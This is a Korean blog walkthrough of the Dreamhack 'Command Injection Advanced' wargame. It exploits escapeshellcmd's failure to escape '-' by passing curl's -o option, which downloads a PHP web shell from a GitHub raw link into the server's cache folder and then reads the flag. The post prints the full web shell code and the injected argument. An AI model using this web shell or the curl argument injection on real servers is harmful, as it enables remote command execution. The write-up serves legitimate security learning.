본문 바로가기
드림핵

[드림핵] Command Injection Advanced 풀이

by jwcs 2023. 7. 9.
728x90

https://dreamhack.io/wargame/challenges/413/

 

Command Injection Advanced

Description Exercise: Command Injection Advanced에서 실습하는 문제입니다.

dreamhack.io

 

/

초기화면이다.

 

<?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>

해석해보자. strpos 함수는 php 함수이다. strpos 함수를 이용해 'http'가 url 변수 맨 앞에 위치해 있는지 확인한다. http가 맨 앞에 위치해 있을 경우 shell_exec()함수를 통해 쉘 명령어를 실행시킨다.

 

shell_exec()함수에 curl 명령어와 escapeshellcmd()가 있는 것을 확인할 수 있다.

 

escapeshellcmd()함수는 특정 문자를 이스케이프 시키는 함수이다. https://runebook.dev/ko/docs/php/function.escapeshellcmd

 

PHP - (PHP 4, 5, 7, 8) escapeshellcmd 메타 문자 escapeshellcmd() 임의의 명령을 실행하도록 명령을 속이는 데

Documentation Contributors History

runebook.dev

자세한 내용은 여기를 참고하자.

 

간략히 말하자면 &#;`|*?~<>^()[]{}$\ 이와 같은 문자들 앞에 백슬래시(\)를 추가하여 이스케이프 시키는 함수이다. 다만 이 함수는 - 를 이스케이프 시키지 않기 때문에 이 점이 취약점으로 발생할 수 있다.

 

이를 curl 명령어에 적용해보면 curl -o 를 통해 파일을 생성할 수 있다. 이 점을 이용하여 웹쉘을 만들어 명령어를 입력해볼 수 있겠다.

 

그럼 먼저 웹쉘 코드를 만들어보자.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

드림핵에서 가져온 코드이다. 이것을 어떻게 curl 명령어로 만들 파일에 넣을 수 있을까?

 

깃허브 raw file 링크를 이용하여 만들 수 있다.

 

깃허브에 익스플로잇 코드 파일을 올려주자. 이 파일로 들어가보겠다.

 

여기서 RAW를 눌러주면 raw file 링크로 들어가진다. 이를 이용해서 명령어를 짜보면

 

[raw file 링크] -o /var/www/html/cache/webshell.php

로 짜볼 수 있다.

/var/www/html 은 아파치의 기본 웹 문서 파일 경로이다. 이 밑에 cache 폴더에 우리가 입력한 값을 md5로 암호화 하여 저장하고 있다. 이 폴더에 웹쉘을 올려주자. 왜 cache 파일에 올려야 하는지는 차후에 서술하겠다.

업로드한 웹쉘의 모습이다. ls 명령어를 통해서 파일들을 살펴 볼 수 있다. flag는 / 에 있다. ls -la / 명령어를 통해서 flag에 대해 살펴보자.

 

flag가 실행 파일인 것이 눈에 띈다. /flag로 flag를 실행시켜 주자.

 

짜자잔

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

Q. 왜 /var/www/html/cache 폴더에 웹쉘 파일을 만들어야 하는가?

 

A. 이는 권한과 관련이 있다. html 폴더에 파일을 만들려고 시도했으나 만들어지지 않았다. 그 이유에 대해서 찾아보니 권한 문제가 있었다.

html폴더의 권한이 보인다. 관리자 외에는 쓰기 권한이 주어지지 않는다. 웹쉘로는 html 폴더에 쓰기가 안된다.

반면에 cache 폴더에는 모든 권한이 주어졌다. 따라서 cache 폴더에만 웹쉘 파일을 만들 수 있었던 것이다.

 

Q. curl 명령어를 통해 깃허브에서 소스를 가져왔는데, 이는 sop 정책에 위배되는 것 아닌가? cors 정책이 적용되는 것인가?

 

A.

curl 명령어를 사용하여 GitHub에서 소스 코드를 가져오는 것은 SOP (Same-Origin Policy)에 위배되지 않습니다. SOP와 CORS (Cross-Origin Resource Sharing)는 웹 브라우저 내에서 실행되는 스크립트에 적용되는 보안 정책입니다. 그러나 curl과 같은 명령줄 도구는 이러한 웹 보안 정책의 영향을 받지 않습니다.

Same-Origin Policy (SOP)

  • 적용 대상: 웹 브라우저에서 실행되는 스크립트 (예: JavaScript)
  • 목적: 한 출처(origin)에서 로드된 문서나 스크립트가 다른 출처의 리소스와 상호작용하는 것을 제한하는 보안 모델
  • 중요성: 사용자의 데이터 보호 및 악의적인 사이트로부터의 보호

Cross-Origin Resource Sharing (CORS)

  • 적용 대상: 웹 브라우저 내에서의 교차 출처 리소스 요청
  • 목적: SOP를 유지하면서도 특정 조건하에서 다른 출처의 리소스에 대한 접근을 허용하는 메커니즘
  • 실행 방법: 서버에서 적절한 HTTP 헤더 (Access-Control-Allow-Origin 등)를 설정하여 요청을 허용

curl과 SOP/CORS

  • 적용 대상: curl은 웹 브라우저가 아닌 커맨드 라인 인터페이스를 통해 작동
  • 보안 정책: curl은 SOP나 CORS 정책의 영향을 받지 않음
  • 사용 방법: curl을 사용하여 다양한 출처의 데이터를 자유롭게 요청하고 받을 수 있음

따라서, curl을 사용하여 GitHub에서 소스 코드를 가져오는 것은 SOP에 위배되지 않으며, CORS 정책이 적용되지 않습니다. 이는 커맨드 라인 도구가 웹 브라우저와 다른 환경에서 작동하기 때문입니다.

(출처:ChatGPT)

728x90
반응형

'드림핵' 카테고리의 다른 글

[드림핵] CSRF Advanced 풀이  (0) 2023.07.09
[드림핵] simple-web-request 풀이  (0) 2023.07.09
[드림핵] [wargame.kr] tmitter  (0) 2023.07.06
[드림핵] phpreg 풀이  (0) 2023.06.30
[드림핵] Flying Chars 풀이  (0) 2023.05.30